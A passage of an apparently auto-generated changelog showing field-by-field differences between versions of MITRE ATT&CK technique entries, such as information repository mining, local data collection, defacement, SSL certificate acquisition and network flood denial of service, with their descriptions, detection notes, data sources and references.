| > | IaaS databases, enterprise databases, and other storage infr | ||||
| > | astructure such as SQL Server. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 12:16:55.085000+00:00 | 2022-04-11 22:28:36.395000+00:00 |
| description | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server. | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. |
| external_references[1]['source_name'] | Microsoft SharePoint Logging | Atlassian Confluence Logging |
| external_references[1]['description'] | Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018. | Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. |
| external_references[1]['url'] | https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2 | https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html |
| external_references[2]['source_name'] | Atlassian Confluence Logging | Microsoft SharePoint Logging |
| external_references[2]['description'] | Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. | Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018. |
| external_references[2]['url'] | https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html | https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2 |
| x_mitre_data_sources[0] | OAuth audit logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Application logs | Logon Session: Logon Session Creation |
| x_mitre_detection | As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. | As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. |
| x_mitre_version | 3.0 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Sharepoint Sharing Events', 'description': 'Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events'} | |
| x_mitre_contributors | Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima, Mandiant | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | IaaS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Data loss prevention | |
| x_mitre_data_sources | Third-party application logs |
Current version: 1.4
Version changed from: 1.2 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search local system sources, such as file sy | t | 1 | Adversaries may search local system sources, such as file sy |
| > | stems or local databases, to find files of interest and sens | > | stems and configuration files or local databases, to find fi | ||
| > | itive data prior to Exfiltration. Adversaries may do this u | > | les of interest and sensitive data prior to Exfiltration. A | ||
| > | sing a [Command and Scripting Interpreter](https://attack.mi | > | dversaries may do this using a [Command and Scripting Interp | ||
| > | tre.org/techniques/T1059), such as [cmd](https://attack.mitr | > | reter](https://attack.mitre.org/techniques/T1059), such as [ | ||
| > | e.org/software/S0106), which has functionality to interact w | > | cmd](https://attack.mitre.org/software/S0106) as well as a [ | ||
| > | ith the file system to gather information. Some adversaries | > | Network Device CLI](https://attack.mitre.org/techniques/T105 | ||
| > | may also use [Automated Collection](https://attack.mitre.org | > | 9/008), which have functionality to interact with the file s | ||
| > | /techniques/T1119) on the local system. | > | ystem to gather information. Adversaries may also use [Autom | ||
| > | ated Collection](https://attack.mitre.org/techniques/T1119) | ||||
| > | on the local system. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['William Cain', 'Austin Clark, @c2defense'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-26 19:21:25.974000+00:00 | 2022-05-20 17:34:15.405000+00:00 |
| description | Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. | Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Script: Script Execution |
| x_mitre_detection | Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
| x_mitre_version | 1.2 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Mandiant APT41 Global Intrusion ', 'description': 'Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.', 'url': 'https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits'} | |
| external_references | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} | |
| x_mitre_data_sources | File: File Access | |
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_platforms | Network |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify visual content available internally o | t | 1 | Adversaries may modify visual content available internally o |
| > | r externally to an enterprise network. Reasons for [Defaceme | > | r externally to an enterprise network, thus affecting the in | ||
| > | nt](https://attack.mitre.org/techniques/T1491) include deliv | > | tegrity of the original content. Reasons for [Defacement](ht | ||
| > | ering messaging, intimidation, or claiming (possibly false) | > | tps://attack.mitre.org/techniques/T1491) include delivering | ||
| > | credit for an intrusion. Disturbing or offensive images may | > | messaging, intimidation, or claiming (possibly false) credit | ||
| > | be used as a part of [Defacement](https://attack.mitre.org/t | > | for an intrusion. Disturbing or offensive images may be use | ||
| > | echniques/T1491) in order to cause user discomfort, or to pr | > | d as a part of [Defacement](https://attack.mitre.org/techniq | ||
| > | essure compliance with accompanying messages. | > | ues/T1491) in order to cause user discomfort, or to pressure | ||
| > | compliance with accompanying messages. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-22 15:19:31.682000+00:00 | 2022-03-25 19:34:42.056000+00:00 |
| description | Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. | Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. |
| x_mitre_data_sources[0] | Packet capture | File: File Creation |
| x_mitre_data_sources[1] | Web application firewall logs | File: File Modification |
| x_mitre_data_sources[2] | Web logs | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal SSL/TLS certificates that c |
| > | al SSL/TLS certificates that can be used during targeting. S | > | an be used during targeting. SSL/TLS certificates are design | ||
| > | SL/TLS certificates are designed to instill trust. They incl | > | ed to instill trust. They include information about the key, | ||
| > | ude information about the key, information about its owner's | > | information about its owner's identity, and the digital sig | ||
| > | identity, and the digital signature of an entity that has v | > | nature of an entity that has verified the certificate's cont | ||
| > | erified the certificate's contents are correct. If the signa | > | ents are correct. If the signature is valid, and the person | ||
| > | ture is valid, and the person examining the certificate trus | > | examining the certificate trusts the signer, then they know | ||
| > | ts the signer, then they know they can use that key to commu | > | they can use that key to communicate with its owner. Advers | ||
| > | nicate with its owner. Adversaries may purchase or steal SS | > | aries may purchase or steal SSL/TLS certificates to further | ||
| > | L/TLS certificates to further their operations, such as encr | > | their operations, such as encrypting C2 traffic (ex: [Asymme | ||
| > | ypting C2 traffic (ex: [Web Protocols](https://attack.mitre. | > | tric Cryptography](https://attack.mitre.org/techniques/T1573 | ||
| > | org/techniques/T1071/001)) or even enabling [Man-in-the-Midd | > | /002) with [Web Protocols](https://attack.mitre.org/techniqu | ||
| > | le](https://attack.mitre.org/techniques/T1557) if the certif | > | es/T1071/001)) or even enabling [Adversary-in-the-Middle](ht | ||
| > | icate is trusted or otherwise added to the root of trust (i. | > | tps://attack.mitre.org/techniques/T1557) if the certificate | ||
| > | e. [Install Root Certificate](https://attack.mitre.org/techn | > | is trusted or otherwise added to the root of trust (i.e. [In | ||
| > | iques/T1553/004)). The purchase of digital certificates may | > | stall Root Certificate](https://attack.mitre.org/techniques/ | ||
| > | be done using a front organization or using information stol | > | T1553/004)). The purchase of digital certificates may be don | ||
| > | en from a previously compromised entity that allows the adve | > | e using a front organization or using information stolen fro | ||
| > | rsary to validate to a certificate provider as that entity. | > | m a previously compromised entity that allows the adversary | ||
| > | Adversaries may also steal certificate materials directly fr | > | to validate to a certificate provider as that entity. Advers | ||
| > | om a compromised third-party, including from certificate aut | > | aries may also steal certificate materials directly from a c | ||
| > | horities.(Citation: DiginotarCompromise) Certificate author | > | ompromised third-party, including from certificate authoriti | ||
| > | ities exist that allow adversaries to acquire SSL/TLS certif | > | es.(Citation: DiginotarCompromise) Adversaries may register | ||
| > | icates, such as domain validation certificates, for free.(Ci | > | or hijack domains that they will later purchase an SSL/TLS c | ||
| > | tation: Let's Encrypt FAQ) Adversaries may register or hija | > | ertificate for. Certificate authorities exist that allow ad | ||
| > | ck domains that they will later purchase an SSL/TLS certific | > | versaries to acquire SSL/TLS certificates, such as domain va | ||
| > | ate for. | > | lidation certificates, for free.(Citation: Let's Encrypt FAQ | ||
| > | ) After obtaining a digital certificate, an adversary may t | ||||
| > | hen install that certificate (see [Install Digital Certifica | ||||
| > | te](https://attack.mitre.org/techniques/T1608/003)) on infra | ||||
| > | structure under their control. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:54.959000+00:00 | 2021-10-16 17:44:09.486000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. | Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. |
| x_mitre_data_sources[0] | SSL/TLS certificates | Internet Scan: Response Content |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Certificate: Certificate Registration |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create self-si | t | 1 | Adversaries may create self-signed SSL/TLS certificates that |
| > | gned SSL/TLS certificates that can be used during targeting. | > | can be used during targeting. SSL/TLS certificates are desi | ||
| > | SSL/TLS certificates are designed to instill trust. They in | > | gned to instill trust. They include information about the ke | ||
| > | clude information about the key, information about its owner | > | y, information about its owner's identity, and the digital s | ||
| > | 's identity, and the digital signature of an entity that has | > | ignature of an entity that has verified the certificate's co | ||
| > | verified the certificate's contents are correct. If the sig | > | ntents are correct. If the signature is valid, and the perso | ||
| > | nature is valid, and the person examining the certificate tr | > | n examining the certificate trusts the signer, then they kno | ||
| > | usts the signer, then they know they can use that key to com | > | w they can use that key to communicate with its owner. In th | ||
| > | municate with its owner. In the case of self-signing, digita | > | e case of self-signing, digital certificates will lack the e | ||
| > | l certificates will lack the element of trust associated wit | > | lement of trust associated with the signature of a third-par | ||
| > | h the signature of a third-party certificate authority (CA). | > | ty certificate authority (CA). Adversaries may create self- | ||
| > | Adversaries may create self-signed SSL/TLS certificates th | > | signed SSL/TLS certificates that can be used to further thei | ||
| > | at can be used to further their operations, such as encrypti | > | r operations, such as encrypting C2 traffic (ex: [Asymmetric | ||
| > | ng C2 traffic (ex: [Web Protocols](https://attack.mitre.org/ | > | Cryptography](https://attack.mitre.org/techniques/T1573/002 | ||
| > | techniques/T1071/001)) or even enabling [Man-in-the-Middle]( | > | ) with [Web Protocols](https://attack.mitre.org/techniques/T | ||
| > | https://attack.mitre.org/techniques/T1557) if added to the r | > | 1071/001)) or even enabling [Adversary-in-the-Middle](https: | ||
| > | oot of trust (i.e. [Install Root Certificate](https://attack | > | //attack.mitre.org/techniques/T1557) if added to the root of | ||
| > | .mitre.org/techniques/T1553/004)). | > | trust (i.e. [Install Root Certificate](https://attack.mitre | ||
| > | .org/techniques/T1553/004)). After creating a digital certi | ||||
| > | ficate, an adversary may then install that certificate (see | ||||
| > | [Install Digital Certificate](https://attack.mitre.org/techn | ||||
| > | iques/T1608/003)) on infrastructure under their control. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:08.422000+00:00 | 2021-10-16 17:32:34.604000+00:00 |
| description | Before compromising a victim, adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). | Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. |
| x_mitre_data_sources[0] | SSL/TLS certificates | Internet Scan: Response Content |
| x_mitre_version | 1.0 | 1.2 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to cause a denial of service (DoS) b | t | 1 | Adversaries may attempt to cause a denial of service (DoS) b |
| > | y directly sending a high-volume of network traffic to a tar | > | y directly sending a high-volume of network traffic to a tar | ||
| > | get. [Direct Network Flood](https://attack.mitre.org/techniq | > | get. This DoS attack may also reduce the availability and fu | ||
| > | ues/T1498/001) are when one or more systems are used to send | > | nctionality of the targeted system(s) and network. [Direct N | ||
| > | a high-volume of network packets towards the targeted servi | > | etwork Flood](https://attack.mitre.org/techniques/T1498/001) | ||
| > | ce's network. Almost any network protocol may be used for fl | > | s are when one or more systems are used to send a high-volum | ||
| > | ooding. Stateless protocols such as UDP or ICMP are commonly | > | e of network packets towards the targeted service's network. | ||
| > | used but stateful protocols such as TCP can be used as well | > | Almost any network protocol may be used for flooding. State | ||
| > | . Botnets are commonly used to conduct network flooding att | > | less protocols such as UDP or ICMP are commonly used but sta | ||
| > | acks against networks and services. Large botnets can genera | > | teful protocols such as TCP can be used as well. Botnets ar | ||
| > | te a significant amount of traffic from systems spread acros | > | e commonly used to conduct network flooding attacks against | ||
| > | s the global Internet. Adversaries may have the resources to | > | networks and services. Large botnets can generate a signific | ||
| > | build out and control their own botnet infrastructure or ma | > | ant amount of traffic from systems spread across the global | ||
| > | y rent time on an existing botnet to conduct an attack. In s | > | Internet. Adversaries may have the resources to build out an | ||
| > | ome of the worst cases for distributed DoS (DDoS), so many s | > | d control their own botnet infrastructure or may rent time o | ||
| > | ystems are used to generate the flood that each one only nee | > | n an existing botnet to conduct an attack. In some of the wo | ||
| > | ds to send out a small amount of traffic to produce enough v | > | rst cases for distributed DoS (DDoS), so many systems are us | ||
| > | olume to saturate the target network. In such circumstances, | > | ed to generate the flood that each one only needs to send ou | ||
| > | distinguishing DDoS traffic from legitimate clients becomes | > | t a small amount of traffic to produce enough volume to satu | ||
| > | exceedingly difficult. Botnets have been used in some of th | > | rate the target network. In such circumstances, distinguishi | ||
| > | e most high-profile DDoS flooding attacks, such as the 2012 | > | ng DDoS traffic from legitimate clients becomes exceedingly | ||
| > | series of incidents that targeted major US banks.(Citation: | > | difficult. Botnets have been used in some of the most high-p | ||
| > | USNYAG IranianBotnet March 2016) | > | rofile DDoS flooding attacks, such as the 2012 series of inc | ||
| > | idents that targeted major US banks.(Citation: USNYAG Irania | ||||
| > | nBotnet March 2016) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. | |
| external_references | Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. | |
| external_references | CAPEC-125 | |
| external_references | CAPEC-486 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-125 | |
| external_references | CAPEC-486 | |
| external_references | Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:57:12.410000+00:00 | 2022-04-19 23:28:52.908000+00:00 |
| description | Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) | Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) |
| external_references[1]['source_name'] | capec | Cisco DoSdetectNetflow |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/125.html | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf |
| external_references[2]['source_name'] | capec | USNYAG IranianBotnet March 2016 |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/486.html | https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged |
| external_references[3]['source_name'] | USNYAG IranianBotnet March 2016 | capec |
| external_references[3]['url'] | https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged | https://capec.mitre.org/data/definitions/125.html |
| external_references[4]['source_name'] | Cisco DoSdetectNetflow | capec |
| external_references[4]['url'] | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf | https://capec.mitre.org/data/definitions/486.html |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may disable cloud logging capabilities and inte | t | 1 | An adversary may disable cloud logging capabilities and inte |
